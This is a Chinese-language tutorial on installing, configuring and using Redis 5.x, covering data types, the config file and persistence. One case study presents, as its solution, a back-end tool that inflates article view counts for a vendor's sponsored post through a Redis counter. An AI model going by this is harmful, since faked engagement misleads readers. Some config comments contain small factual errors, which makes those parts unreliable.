詳解redis5.x版本

詳解redis5.x版本

關係型和非關係型

關係型數據庫: mysql  Oracle  pg
非關係型數據庫: redis  MongoDB  es

nosql not only  SQL
nosql 指的是非關係性的數據庫
nosql 有時也稱作爲not  only SQL的的縮寫對不同於傳統的關係型的數據庫管理系統的統稱
對nosql最普遍的解釋是“非關係型的” 強調key-value stores和文檔數據庫的優點,而不是單純的RDBMS
nosql用於超大規模數據的存儲
這些類型的數據存儲不需要固定的模式,無需多餘的操作就可以橫向擴展
今天我們可以通過第三方平臺很容易的訪問和抓取數據
用戶的個人信息、社交網絡、地理位置、用戶生成的數據和用戶操作日誌已經成倍的增加。
nosql數據庫的發展也能很好的處理這些大數據

關係型數據庫和非關係型數據庫的區別:

一、關係型數據庫
關係型數據庫最典型的數據結構是表,由二維表以及之間的聯繫所組成的一個數據組織
優點:
1、易於維護:都是使用表結構,格式一致
2、方便操作:SQL語句通用,可用於複雜的查詢
3、複雜操作:支持SQL,可用於一個表以及多個表之間複雜的查詢
缺點:
1、讀寫性能比較差,尤其是海量數據的高效率讀寫(秒殺活動)
2、固定的表結構,靈活度較差
3、高併發讀寫需求,傳統關係型數據庫來說,硬盤IO是一個很大的瓶頸(秒殺活動)

二、非關係型數據庫
非關係型數據庫嚴格上不是一種數據庫,應該是一種數據結構化存儲的方法的集合,可以是文檔或者鍵值對等。
優點:
1、格式靈活,存儲數據的格式可以是key-value形式、文檔形式、圖片形式等,文檔形式、圖片形式使用靈活,應用場景廣泛,而關係型數據庫則支持基礎類型
2、速度快,nosql可以使用硬盤或者隨機存儲器作爲載體而關係型數據庫只能使用硬盤
3、高擴展性
4、成本低,nosql數據庫部署簡單,基本都是開源軟件
缺點:
1、不提供SQL支持,學習和使用成本比較高
2、無事務處理
3、數據結構相對複雜,複雜查詢方面比較差

mysql一秒鐘 幾千條數據的寫入
redis 一秒鐘 幾萬條數據的寫入

redis重要的特性

1、速度快
C語言編寫
代碼優雅簡潔
單線程架構
2、支持多種數據結構
字符串、哈希、列表、結合、有序集合
(mysql的數據結構:段、區、頁、表)
3、豐富的功能
天然計數器
鍵過期功能
消息隊列
4、支持客戶端語言多
PHP  java  go  python
5、支持數據持久化
所有運行的數據都是放在內存裏的
支持多種數據持久化格式RDB AOF  混合持久化等
6、自帶多種高可用架構
主從、哨兵、集羣

redis應用場景(重點

1、緩存-鍵值對過期
把session數據緩存在redis中,過期刪除
緩存用戶的信息,緩存mysql部分的數據,用戶先訪問redis,如果redis沒有命中,在訪問mysql,然後寫給redis
商城優惠券過期
短信驗證碼過期
2、排行榜-列表&有序集合
熱度 點擊量
直播間禮物打賞排行榜
3、計數器-天然計數器
帖子瀏覽數
視頻播放數
點贊 
4、社交網絡-集合
粉絲
共同好友
興趣愛好
檢查用戶名是否已經註冊
5、消息隊列-列表
elk緩存日誌
聊天記錄

redis的安裝部署
redis官網

https://redis.io/download

版本選擇

2.x  非常老
3.x 主流 redis-cluster(支持集羣)
4.x 混合持久化 
5.x  最新穩定版 新增加了流處理類型
 /data/soft 下載目錄
/opt/redis_6379/{conf,logs,pid}   安裝目錄 日誌目錄 pid目錄
/data/redis_6379/   數據目錄
mkdir  /data/soft -p
cd /data/soft/
wget    http://download.redis.io/releases/redis-5.0.7.tar.gz
tar xf  redis-5.0.7.tar.gz  -C /opt/
ln -s  /opt/redis-5.0.7/  /opt/redis
 cd /opt/redis
 make  && make install

make 和makeinstall功能

菜     二進制命令
./config  洗菜和切菜
make   炒菜
makeinstall   裝盤

編寫配置文件

mkdir   -p /opt/redis_6379/{conf,logs,pid}
mkdir  -p /data/redis_6379
 cat >> /opt/redis_6379/conf/redis_6379.conf <<EOF
> daemonize yes
> bind  127.0.0.1 10.0.0.51
> port 6379
> pidfile /opt/redis_6379/pid/redis_6379.pid
> logfile /opt/redis_6379/logs/redis_6379.log
> EOF
啓動命令
[root@localhost redis]# redis-server   /opt/redis_6379/conf/redis_6379.conf 
查看日誌 
[root@localhost redis]# tail -f /opt/redis_6379/logs/redis_6379.log 
查看進程
[root@localhost redis]# ps -ef |grep  redis
查看端口號
[root@localhost redis]# netstat  -ntpl |grep  6379
登錄測試
[root@localhost redis]# redis-cli 
127.0.0.1:6379> set k1 v1
OK
127.0.0.1:6379> get k1
"v1"
127.0.0.1:6379> 
關閉redis1命令(一)
127.0.0.1:6379> SHUTDOWN
not connected> 
[root@localhost redis]# redis-server  /opt/redis_6379/conf/redis_6379.conf 
關閉redis命令(二)
[root@localhost redis]# redis-cli  shutdown
[root@localhost redis]# ps -ef |grep  redis
關閉redis命令(三)
[root@localhost redis]# ps -ef|grep  redis
root      22867      1  0 08:50 ?        00:00:00 redis-server 127.0.0.1:6379
root      22872   7503  0 08:51 pts/0    00:00:00 grep --color=auto redis
[root@localhost redis]# kill  22867

systemctl 啓動配置

redis-cli shutdown
 groupadd redis -g 1000 &&  useradd redis -u 1000 -g 1000 -M -s /sbin/nologin
chown -R redis:redis /opt/redis* &&  chown -R redis:redis /data/redis*
[root@localhost redis]# cat /usr/lib/systemd/system/redis.service
[Unit]
Description=Redis persistent key-value database 
After=network.target 
After=network-online.target 
Wants=network-online.target
 
[Service] 
ExecStart=/usr/local/bin/redis-server /opt/redis_6379/conf/redis_6379.conf --supervised systemd 
ExecStop=/usr/local/bin/redis-cli shutdown 
Type=notify 
User=redis 
Group=redis 
RuntimeDirectory=redis 
RuntimeDirectoryMode=0755
 
[Install] 
WantedBy=multi-user.target 

[root@localhost redis]# systemctl daemon-reload
[root@localhost redis]# systemctl start  redis
[root@localhost redis]# ps -ef |grep  redis
redis     22924      1  0 08:55 ?        00:00:00 /usr/local/bin/redis-server 127.0.0.1:6379
root      22929   7503  0 08:55 pts/0    00:00:00 grep --color=auto redis
[root@localhost redis]# 

優化警告

警告1:maximum open files 過低
17068:M 23 Jun 2020 10:23:55.707 # You requested maxclients of 10000 requiring at least 10032 max file descriptors. 17068:M 23 Jun 2020 10:23:55.707 # Server can't set maximum open files to 10032 because of OS error: Operation not permitted. 17068:M 23 Jun 2020 10:23:55.707 # Current maximum open files is 4096. maxclients has been reduced to 4064 to compensate for low ulimit. If you need higher maxclients increase 'ulimit -n
解決:
vim /usr/lib/systemd/system/redis.service 
[Service] 
LimitNOFILE=65536

警告2:: overcommit_memory設置虛擬化內存相關

17068:M 23 Jun 2020 10:23:55.707 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
解決:
[root@localhost ~]# sysctl vm.overcommit_memory=1
vm.overcommit_memory = 1

警告3:關閉THP內存大頁
17068:M 23 Jun 2020 10:23:55.707 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled. 17068:M 23 Jun 2020 10:23:55.707 * Ready to accept connections
解決:
echo  never > /sys/kernel/mm/transparent_hugepage/enabled 

警告4:
34685:M 23 Jun 2020 10:47:00.901 # WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128

解決:
echo "511" > /proc/sys/net/core/somaxconn
[root@localhost ~]# sysctl  net.core.somaxconn=4096
net.core.somaxconn = 4096

配置文件解釋

# daemonize no  默認情況下, redis 不是在後臺運行的,如果需要在後臺運行,把該項的值更改爲 yes
daemonize yes
# 當redis在後臺運行的時候, Redis默認會把pid文件放在 /var/run/redis.pid ,你可以配置到其他地址。
# 當運行多個redis服務時,需要指定不同的 pid 文件和端口
pidfile /var/run/redis_6379.pid
# 指定redis運行的端口,默認是 6379
port 6379
#  在高併發的環境中,爲避免慢客戶端的連接問題,需要設置一個高速後臺日誌
tcp-backlog 511
#  指定 redis 只接收來自於該 IP 地址的請求,如果不進行設置,那麼將處理所有請求
# bind 192.168.1.100 10.0.0.1
# bind 127.0.0.1
#  設置客戶端連接時的超時時間,單位爲秒。當客戶端在這段時間內沒有發出任何指令,那麼關閉該連接
# 0 是關閉此設置
timeout 0
# TCP keepalive
#  在 Linux 上,指定值(秒)用於發送 ACKs 的時間。注意關閉連接需要雙倍的時間。默認爲 0 。
tcp-keepalive 0
#  指定日誌記錄級別,生產環境推薦 notice
# Redis 總共支持四個級別: debug 、 verbose 、 notice 、 warning ,默認爲 verbose
# debug     記錄很多信息,用於開發和測試
# varbose   有用的信息,不像 debug 會記錄那麼多
# notice    普通的 verbose ,常用於生產環境
# warning   只有非常重要或者嚴重的信息會記錄到日誌
loglevel notice
#  配置 log 文件地址
#  默認值爲 stdout ,標準輸出,若後臺模式會輸出到 /dev/null 。
logfile /var/log/redis/redis.log
#  可用數據庫數
#  默認值爲 16 ,默認數據庫爲 0 ,數據庫範圍在 0- ( database-1 )之間
databases 16
################################ 快照#################################
#  保存數據到磁盤,格式如下 :
#   save  
#    指出在多長時間內,有多少次更新操作,就將數據同步到數據文件 rdb 。
#    相當於條件觸發抓取快照,這個可以多個條件配合
#    比如默認配置文件中的設置,就設置了三個條件
#   save 900 1  900 秒內至少有 1 個 key 被改變
#   save 300 10  300 秒內至少有 300 個 key 被改變
#   save 60 10000  60 秒內至少有 10000 個 key 被改變
# save 900 1
# save 300 10
# save 60 10000
#  後臺存儲錯誤停止寫。
stop-writes-on-bgsave-error yes
#  存儲至本地數據庫時(持久化到 rdb 文件)是否壓縮數據,默認爲 yes
rdbcompression yes
# RDB 文件的是否直接偶像 chcksum
rdbchecksum yes
#  本地持久化數據庫文件名,默認值爲 dump.rdb
dbfilename dump.rdb
#  工作目錄
#  數據庫鏡像備份的文件放置的路徑。
#  這裏的路徑跟文件名要分開配置是因爲 redis 在進行備份時,先會將當前數據庫的狀態寫入到一個臨時文件中,等備份完成,
#  再把該該臨時文件替換爲上面所指定的文件,而這裏的臨時文件和上面所配置的備份文件都會放在這個指定的路徑當中。
# AOF 文件也會存放在這個目錄下面
#  注意這裏必須制定一個目錄而不是文件
dir /var/lib/redis-server/
################################# 複製 #################################
#  主從複製 . 設置該數據庫爲其他數據庫的從數據庫 .
#  設置當本機爲 slav 服務時,設置 master 服務的 IP 地址及端口,在 Redis 啓動時,它會自動從 master 進行數據同步
# slaveof 
#  當 master 服務設置了密碼保護時 ( 用 requirepass 制定的密碼 )
# slave 服務連接 master 的密碼
# masterauth 
#  當從庫同主機失去連接或者複製正在進行,從機庫有兩種運行方式:
# 1)  如果 slave-serve-stale-data 設置爲 yes( 默認設置 ) ,從庫會繼續響應客戶端的請求
# 2)  如果 slave-serve-stale-data 是指爲 no ,出去 INFO 和 SLAVOF 命令之外的任何請求都會返回一個
#     錯誤 "SYNC with master in progress"
slave-serve-stale-data yes
#  配置 slave 實例是否接受寫。寫 slave 對存儲短暫數據(在同 master 數據同步後可以很容易地被刪除)是有用的,但未配置的情況下,客戶端寫可能會發送問題。
#  從 Redis2.6 後,默認 slave 爲 read-only
slaveread-only yes

#  從庫會按照一個時間間隔向主庫發送 PINGs. 可以通過 repl-ping-slave-period 設置這個時間間隔,默認是 10 秒
# repl-ping-slave-period 10
# repl-timeout  設置主庫批量數據傳輸時間或者 ping 回覆時間間隔,默認值是 60 秒
#  一定要確保 repl-timeout 大於 repl-ping-slave-period
# repl-timeout 60
#  在 slave socket 的 SYNC 後禁用 TCP_NODELAY
#  如果選擇“ yes ” ,Redis 將使用一個較小的數字 TCP 數據包和更少的帶寬將數據發送到 slave , 但是這可能導致數據發送到 slave 端會有延遲 , 如果是 Linux kernel 的默認配置,會達到 40 毫秒 .
#  如果選擇 "no" ,則發送數據到 slave 端的延遲會降低,但將使用更多的帶寬用於複製 .
repl-disable-tcp-nodelay no
#  設置複製的後臺日誌大小。
#  複製的後臺日誌越大, slave 斷開連接及後來可能執行部分複製花的時間就越長。
#  後臺日誌在至少有一個 slave 連接時,僅僅分配一次。
# repl-backlog-size 1mb
#  在 master 不再連接 slave 後,後臺日誌將被釋放。下面的配置定義從最後一個 slave 斷開連接後需要釋放的時間(秒)。
# 0 意味着從不釋放後臺日誌
# repl-backlog-ttl 3600
#  如果 master 不能再正常工作,那麼會在多個 slave 中,選擇優先值最小的一個 slave 提升爲 master ,優先值爲 0 表示不能提升爲 master 。
slave-priority 100
#  如果少於 N 個 slave 連接,且延遲時間 <=M 秒,則 master 可配置停止接受寫操作。
#  例如需要至少 3 個 slave 連接,且延遲 <=10 秒的配置:
# min-slaves-to-write 3
# min-slaves-max-lag 10
#  設置 0 爲禁用
#   默認 min-slaves-to-write 爲 0 (禁用), min-slaves-max-lag 爲 10
################################## 安全 ###################################
#  設置客戶端連接後進行任何其他指定前需要使用的密碼。
#  警告:因爲 redis 速度相當快,所以在一臺比較好的服務器下,一個外部的用戶可以在一秒鐘進行 150K 次的密碼嘗試,這意味着你需要指定非常非常強大的密碼來防止暴力破解
# requirepass foobared
#  命令重命名 .
#  在一個共享環境下可以重命名相對危險的命令。比如把 CONFIG 重名爲一個不容易猜測的字符。
#  舉例 :
# rename-command CONFIG b840fc02d524045429941cc15f59e41cb7be6c52
#  如果想刪除一個命令,直接把它重命名爲一個空字符 "" 即可,如下:
# rename-command CONFIG ""
################################### 約束###################################
#設置同一時間最大客戶端連接數,默認無限制, 
#Redis 可以同時打開的客戶端連接數爲 Redis 進程可以打開的最大文件描述符數,
#如果設置  maxclients 0 ,表示不作限制。
#當客戶端連接數到達限制時, Redis 會關閉新的連接並向客戶端返回 max number of clients reached 錯誤信息
# maxclients 10000
#  指定 Redis 最大內存限制, Redis 在啓動時會把數據加載到內存中,達到最大內存後, Redis 會按照清除策略嘗試清除已到期的 Key
#  如果 Redis 依照策略清除後無法提供足夠空間,或者策略設置爲 ”noeviction” ,則使用更多空間的命令將會報錯,例如 SET, LPUSH 等。但仍然可以進行讀取操作
#  注意: Redis 新的 vm 機制,會把 Key 存放內存, Value 會存放在 swap 區
#  該選項對 LRU 策略很有用。
# maxmemory 的設置比較適合於把 redis 當作於類似 memcached 的緩存來使用,而不適合當做一個真實的 DB 。
#  當把 Redis 當做一個真實的數據庫使用的時候,內存使用將是一個很大的開銷
# maxmemory 
#  當內存達到最大值的時候 Redis 會選擇刪除哪些數據?有五種方式可供選擇
# volatile-lru ->  利用 LRU 算法移除設置過過期時間的 key (LRU: 最近使用  Least RecentlyUsed )
# allkeys-lru ->  利用 LRU 算法移除任何 key
# volatile-random ->  移除設置過過期時間的隨機 key
# allkeys->random -> remove a randomkey, any key
# volatile-ttl ->  移除即將過期的 key(minor TTL)
# noeviction ->  不移除任何可以,只是返回一個寫錯誤
#  注意:對於上面的策略,如果沒有合適的 key 可以移除,當寫的時候 Redis 會返回一個錯誤
#  默認是 :  volatile-lru
# maxmemory-policy volatile-lru  
# LRU  和  minimal TTL 算法都不是精準的算法,但是相對精確的算法 ( 爲了節省內存 ) ,隨意你可以選擇樣本大小進行檢測。
# Redis 默認的灰選擇 3 個樣本進行檢測,你可以通過 maxmemory-samples 進行設置
# maxmemory-samples 3
############################## AOF###############################
#  默認情況下, redis 會在後臺異步的把數據庫鏡像備份到磁盤,但是該備份是非常耗時的,而且備份也不能很頻繁,如果發生諸如拉閘限電、拔插頭等狀況,那麼將造成比較大範圍的數據丟失。
#  所以 redis 提供了另外一種更加高效的數據庫備份及災難恢復方式。
#  開啓 append only 模式之後, redis 會把所接收到的每一次寫操作請求都追加到 appendonly.aof 文件中,當 redis 重新啓動時,會從該文件恢復出之前的狀態。
#  但是這樣會造成 appendonly.aof 文件過大,所以 redis 還支持了 BGREWRITEAOF 指令,對 appendonly.aof 進行重新整理。
#  你可以同時開啓 asynchronous dumps 和  AOF
appendonly no
# AOF 文件名稱  ( 默認 : "appendonly.aof")
# appendfilename appendonly.aof
# Redis 支持三種同步 AOF 文件的策略 :
# no:  不進行同步,系統去操作  . Faster.
# always: always 表示每次有寫操作都進行同步 . Slow, Safest.
# everysec:  表示對寫操作進行累積,每秒同步一次 . Compromise.
#  默認是 "everysec" ,按照速度和安全折中這是最好的。
#  如果想讓 Redis 能更高效的運行,你也可以設置爲 "no" ,讓操作系統決定什麼時候去執行
#  或者相反想讓數據更安全你也可以設置爲 "always"
#  如果不確定就用  "everysec".
# appendfsync always
appendfsync everysec
# appendfsync no
# AOF 策略設置爲 always 或者 everysec 時,後臺處理進程 ( 後臺保存或者 AOF 日誌重寫 ) 會執行大量的 I/O 操作
#  在某些 Linux 配置中會阻止過長的 fsync() 請求。注意現在沒有任何修復,即使 fsync 在另外一個線程進行處理
#  爲了減緩這個問題,可以設置下面這個參數 no-appendfsync-on-rewrite
no-appendfsync-on-rewrite no
# AOF  自動重寫
#  當 AOF 文件增長到一定大小的時候 Redis 能夠調用  BGREWRITEAOF  對日誌文件進行重寫
#  它是這樣工作的: Redis 會記住上次進行些日誌後文件的大小 ( 如果從開機以來還沒進行過重寫,那日子大小在開機的時候確定 )
#  基礎大小會同現在的大小進行比較。如果現在的大小比基礎大小大制定的百分比,重寫功能將啓動
#  同時需要指定一個最小大小用於 AOF 重寫,這個用於阻止即使文件很小但是增長幅度很大也去重寫 AOF 文件的情況
#  設置  percentage 爲 0 就關閉這個特性
auto-aof-rewrite-percentage 100
auto-aof-rewrite-min-size 64mb
################################ LUASCRIPTING #############################
# 一個 Lua 腳本最長的執行時間爲 5000 毫秒( 5 秒),如果爲 0 或負數表示無限執行時間。
lua-time-limit 5000
################################LOW LOG################################
# Redis Slow Log  記錄超過特定執行時間的命令。執行時間不包括 I/O 計算比如連接客戶端,返回結果等,只是命令執行時間
#  可以通過兩個參數設置 slow log :一個是告訴 Redis 執行超過多少時間被記錄的參數 slowlog-log-slower-than( 微妙 ) ,
#  另一個是 slow log 的長度。當一個新命令被記錄的時候最早的命令將被從隊列中移除
#  下面的時間以微妙爲單位,因此 1000000 代表一秒。
#  注意指定一個負數將關閉慢日誌,而設置爲 0 將強制每個命令都會記錄
slowlog-log-slower-than 10000
#  對日誌長度沒有限制,只是要注意它會消耗內存
#  可以通過  SLOWLOG RESET 回收被慢日誌消耗的內存
#  推薦使用默認值 128 ,當慢日誌超過 128 時,最先進入隊列的記錄會被踢出
slowlog-max-len 128
################################  事件通知  #############################
#  當事件發生時, Redis 可以通知 Pub/Sub 客戶端。
#  可以在下表中選擇 Redis 要通知的事件類型。事件類型由單個字符來標識:
# K     Keyspace 事件,以 _keyspace@_ 的前綴方式發佈
# E     Keyevent 事件,以 _keysevent@_ 的前綴方式發佈
# g     通用事件(不指定類型),像 DEL, EXPIRE, RENAME, …
# $     String 命令
# s     Set 命令
# h     Hash 命令
# z     有序集合命令
# x     過期事件(每次 key 過期時生成)
# e     清除事件(當 key 在內存被清除時生成)
# A     g$lshzxe 的別稱,因此 ”AKE” 意味着所有的事件
# notify-keyspace-events 帶一個由 0 到多個字符組成的字符串參數。空字符串意思是通知被禁用。
#  例子:啓用 list 和通用事件:
# notify-keyspace-events Elg
#  默認所用的通知被禁用,因爲用戶通常不需要改特性,並且該特性會有性能損耗。
#  注意如果你不指定至少 K 或 E 之一,不會發送任何事件。
notify-keyspace-events “”
##############################  高級配置  ###############################
#  當 hash 中包含超過指定元素個數並且最大的元素沒有超過臨界時,
# hash 將以一種特殊的編碼方式(大大減少內存使用)來存儲,這裏可以設置這兩個臨界值
# Redis Hash 對應 Value 內部實際就是一個 HashMap ,實際這裏會有 2 種不同實現,
#  這個 Hash 的成員比較少時 Redis 爲了節省內存會採用類似一維數組的方式來緊湊存儲,而不會採用真正的 HashMap 結構,對應的 valueredisObject 的 encoding 爲 zipmap,
#  當成員數量增大時會自動轉成真正的 HashMap, 此時 encoding 爲 ht 。
hash-max-zipmap-entries 512
hash-max-zipmap-value 64  
#  和 Hash 一樣,多個小的 list 以特定的方式編碼來節省空間。
# list 數據類型節點值大小小於多少字節會採用緊湊存儲格式。
list-max-ziplist-entries 512
list-max-ziplist-value 64
# set 數據類型內部數據如果全部是數值型,且包含多少節點以下會採用緊湊格式存儲。
set-max-intset-entries 512
#  和 hashe 和 list 一樣 , 排序的 set 在指定的長度內以指定編碼方式存儲以節省空間
# zsort 數據類型節點值大小小於多少字節會採用緊湊存儲格式。
zset-max-ziplist-entries 128
zset-max-ziplist-value 64
# Redis 將在每 100 毫秒時使用 1 毫秒的 CPU 時間來對 redis 的 hash 表進行重新 hash ,可以降低內存的使用
#  當你的使用場景中,有非常嚴格的實時性需要,不能夠接受 Redis 時不時的對請求有 2 毫秒的延遲的話,把這項配置爲 no 。
#  如果沒有這麼嚴格的實時性要求,可以設置爲 yes ,以便能夠儘可能快的釋放內存
activerehashing yes
# 客戶端的輸出緩衝區的限制,因爲某種原因客戶端從服務器讀取數據的速度不夠快,
# 可用於強制斷開連接(一個常見的原因是一個發佈 / 訂閱客戶端消費消息的速度無法趕上生產它們的速度)。
#  可以三種不同客戶端的方式進行設置:
# normal ->  正常客戶端
# slave  -> slave 和 MONITOR 客戶端
# pubsub ->  至少訂閱了一個 pubsub channel 或 pattern 的客戶端
#  每個 client-output-buffer-limit 語法 :
# client-output-buffer-limit   
#  一旦達到硬限制客戶端會立即斷開,或者達到軟限制並保持達成的指定秒數(連續)。
#  例如,如果硬限制爲 32 兆字節和軟限制爲 16 兆字節 /10 秒,客戶端將會立即斷開
#  如果輸出緩衝區的大小達到 32 兆字節,客戶端達到 16 兆字節和連續超過了限制 10 秒,也將斷開連接。
#  默認 normal 客戶端不做限制,因爲他們在一個請求後未要求時(以推的方式)不接收數據,
#  只有異步客戶端可能會出現請求數據的速度比它可以讀取的速度快的場景。
#  把硬限制和軟限制都設置爲 0 來禁用該特性
client-output-buffer-limit normal 0 0 0
client-output-buffer-limit slave 256mb 64mb60
client-output-buffer-limit pubsub 32mb 8mb60
# Redis 調用內部函數來執行許多後臺任務,如關閉客戶端超時的連接,清除過期的 Key ,等等。
#  不是所有的任務都以相同的頻率執行,但 Redis 依照指定的“ Hz ”值來執行檢查任務。
#  默認情況下,“ Hz ”的被設定爲 10 。
#  提高該值將在 Redis 空閒時使用更多的 CPU 時,但同時當有多個 key 同時到期會使 Redis 的反應更靈敏,以及超時可以更精確地處理。
#  範圍是 1 到 500 之間,但是值超過 100 通常不是一個好主意。
#  大多數用戶應該使用 10 這個預設值,只有在非常低的延遲的情況下有必要提高最大到 100 。
hz 10  
#  當一個子節點重寫 AOF 文件時,如果啓用下面的選項,則文件每生成 32M 數據進行同步。
aof-rewrite-incremental-fsync yes

redis全局命令

1、redis數據格式

key:value

鍵:值
2、寫入測試命令

set k1 v1
set k2 v2 
set k3 v3 

3、查看所有的key 注意!!!此操作未滿28歲,請在父母陪同下操作!!!
線上生產禁止執行!!!

keys *

4、查看有多少key

DBSIZE

5、查看某個key是否存在

EXISTS k1
狀態碼:
0: 表示這個key不存在
1: 表示這個key存在
N: 表示有N個key存在

6、刪除key

DEL k1
DEL k1 k2

狀態碼:
0: 要刪除的KEY不存在
1: 表示這個key存在,並且被刪除成功了
N: 表示N個key存在,並且被刪除成功了N個

7、鍵過期
設置鍵過期時間(鍵過期後就被刪除了)
(緩存用戶信息)

EXPIRE k1 10

狀態碼:
0:這個key不存在
1:這個key存在,並且設置過期時間成功

查看key是否過期

TTL k1 

狀態碼:
-1 :這個key存在,但是沒有設置過期時間,永不過期
-2 :這個key不存在
N  :表示這個key存在,並且還有N秒過期

取消過期時間

第一種方法:
set k1 v1

第二種方法:
PERSIST k1

案例
618活動
第二天 優惠券還可以使用
沒監控好

解決:
1、開發配置優惠券之前,先把所有需要過期的key發送給運維
2、運維批量監控這些需要過期的key
3、只要這些key出現了-1的值,就表示永不過期,就需要報警

字符串操作
(天然計數器)
1、設置一個key

set k1 v1
set k1 v1 EX 10

2、查看一個key

get  k1

3、設置多個key

MSET k1 v1 k2 v2 k3 v3

4、查看多個key

MGET k1 k2 k3

5、天然計數器

加1:
SET k1 1
INCR k1
GET k1

加N:
INCRBY k1 100

減1:
DECR k1
INCRBY k1 -1

減N:
DECRBY k1 N
INCRBY k1 -N

故障案例

問題背景:
某日,突然在公司辦公室集體訪問不了公司網站了,訪問其他網站都正常,用手機流量訪問公司網站卻正常

排查過程:
筆記本用手機流量熱點,連上了IDC機房的VPN服務器,連上反向代理負載均衡查看,發現公司出口IP地址被防火牆封掉了。

緊急恢復:
先放開規則,恢復訪問。再排查問題

排查步驟:
爲什麼辦公室會被封?
防火牆上做了限制訪問次數,如果訪問超過1分鐘200次,就自動封掉這個IP,24小時後再放開。

內網是誰在大量訪問呢?
通過路由器查看那個交換機流量大
通過交換機確認哪個端口的流量異常
拔掉網線,然後等待尖叫聲

問題真正原因:
供應商軟文有指標,需要把熱度炒起來,所以同事用瀏覽器自動刷新網頁的插件不斷的刷新網頁。
從而觸發了防火牆的限制,又因爲防火牆沒有設置白名單,所以導致整個辦公室唯一的出口IP被封掉。

解決方案:
開發在後臺添加新功能,輸入帖子ID和期望的訪問數,操作Redis字符串的計數器功能自動添加訪問量
防火牆設置白名單,放開公司辦公室出口IP

列表操作

(熱度&點擊量)
1、插入列表

從左邊壓入數據:
LPUSH list1 A 從上插入

從右邊壓入數據:
RPUSH list1 D  從下插入

2、查看列表長度

LLEN list1

3、查看列表元素

LRANGE list1 0 -1  

4、刪除列表元素

RPOP list1  從下刪除
LPOP list1  從上刪除

5、刪除整個列表

DEL list1

hash操作
1、mysql數據格式如何緩存到redis

mysql數據格式:
user表
id   name   job  age
1	 boss   it   18
2    wei    it   24
3    cookz  it   30

hash類型存儲格式:
key	     field1  value  field2  value  field3  value
user:1   name    boss   job     it     age     18
user:2   name    wei    job     it     age     18
user:3   name    cookz  job     it     age     18

2、創建一個hash數據

HMSET user:1 name boss job it age 18
HMSET user:2 name wei job it age 24
HMSET user:3 name cooz job it age 30

3、查看hash裏的指定字段的值

select name from user where id = 1 ;

HMGET user:1 name 
HMGET user:1 name job age

4、查看hash裏的所有字段的值

select * from user where id = 1 ;

HGETALL user:1

集合操作
1、創建集合

SADD set1 1 2 3
SADD set2 1 3 5 7

2、查看集合成員

SMEMBERS set1

3、查看集合的交集

127.0.0.1:6379> SINTER set1 set2
1) "1"
2) "3"
127.0.0.1:6379> SINTER set2 set1
1) "1"
2) "3"

4、查看集合的差集

127.0.0.1:6379> SMEMBERS set1
1) "1"
2) "2"
3) "3"

127.0.0.1:6379> SMEMBERS set2
1) "1"
2) "3"
3) "5"
4) "7"

127.0.0.1:6379> SDIFF set1 set2
1) "2"

127.0.0.1:6379> SDIFF set2 set1
1) "5"
2) "7"

5、查看集合的並集

127.0.0.1:6379> SUNION set1 set2
1) "1"
2) "2"
3) "3"
4) "5"
5) "7"

有序集合

1、添加有序集合

ZADD bj69 100 wang
ZADD bj69 10  bao
ZADD bj69 99  meng

2、計算成員個數

ZCARD bj69

3、計算某個成員分數

ZSCORE bj69 wang

4、按照升序查看成員名次

ZRANK bj69 meng

5、按照降序查看成員名次

ZREVRANK bj67 wei

6、刪除成員

ZREM bj67 cookzhang

7、返回指定排名範圍的成員

127.0.0.1:6379> ZRANGE bj67 0 -1
1) "cookzhang"
2) "cookz"
3) "zcook"
4) "jun"
5) "wei"
127.0.0.1:6379> ZRANGE bj67 0 -1 WITHSCORES
 1) "cookzhang"
 2) "10"
 3) "cookz"
 4) "20"
 5) "zcook"
 6) "30"
 7) "jun"
 8) "99"
 9) "wei"
10) "100"
127.0.0.1:6379> ZRANGE bj67 1 3
1) "cookz"
2) "zcook"
3) "jun"

8、返回指定分數範圍的成員

127.0.0.1:6379> ZRANGEBYSCORE bj67 50 100
1) "jun"
2) "wei"
127.0.0.1:6379> ZRANGEBYSCORE bj67 50 100 WITHSCORES
1) "jun"
2) "99"
3) "wei"
4) "100"

9、增加成員分數

ZINCRBY bj67 50 wei

持久化
1、rdb持久化和aof持久化

RDB: 類似於快照,當前內存裏的數據的狀態持久化到硬盤
優點:壓縮格式/恢復速度快
缺點:不是實時的,可能會丟數據,操作比較重量

AOF:類似於mysql的binlog,可以設置成每秒/每次操作都以追加的形式保存在日誌文件中
優點:安全,最多隻損失1秒的數據,具備一定的可讀性
缺點:文件比較大,恢復速度慢

2、rdb持久化流程圖
rdb流程圖

在這裏插入圖片描述
3、配置rdb持久化

save 900 1
save 300 10
save 60 10000
dbfilename redis.rdb
dir /data/redis_6379/

4、rdb持久化結論:

沒配置save參數時:
1.shutdown/pkill/kill都不會持久化保存
2.可以手動執行bgsave

配置save參數時:
1.shutdown/pkill/kill均會自動觸發bgsave持久化保存數據
2.pkill -9 不會觸發持久化

恢復時:
1.持久化數據文件名要和配置文件裏定義的一樣才能被識別
2.RDB文件只有一個數據文件,遷移和備份只要這一個RDB文件即可

注意:
RDB高版本兼容低版本,低版本不能兼容高版本
3.x >> 5.X >> OK 
5.x >> 3.x >> NoOK 

aof流程圖

在這裏插入圖片描述

5、aof持久化配置

appendonly yes
appendfilename "redis.aof"
appendfsync everysec

6、aof重寫機制
執行的命令 aof記錄 redis裏的數據

set k1	v1  set k1		 k1

set k2	v2  set k1  		k1 k2 
						set k2

set k3	v3  set k1  		k1 k2 k3 
						set k2  
						set k3

del k1  		set k1  	  k2 k3
						set k2  
						set k3 
						del k1

del k2 			set k1  		k3 
						set k2  
						set k3 
						del k1 
						del k2

aof文件裏實際有意義的只有一條記錄:

set k3 

7、aof和rdb讀取實驗
實驗背景:
aof和rdb同時存在,redis重啓會讀取哪一個數據?

實驗步驟:

set k1 v1
set k2 v2 
bgsave       rbd保存 k1 k2  
mv redis.rdb /opt/

flushall
set k3 v3 
set k4 v4    aof保存 k3 k4
mv redis.aof /opt/

redis-cli shutdown
rm -rf /data/redis_6379/*
mv /opt/redis.aof /data/redis_6379/
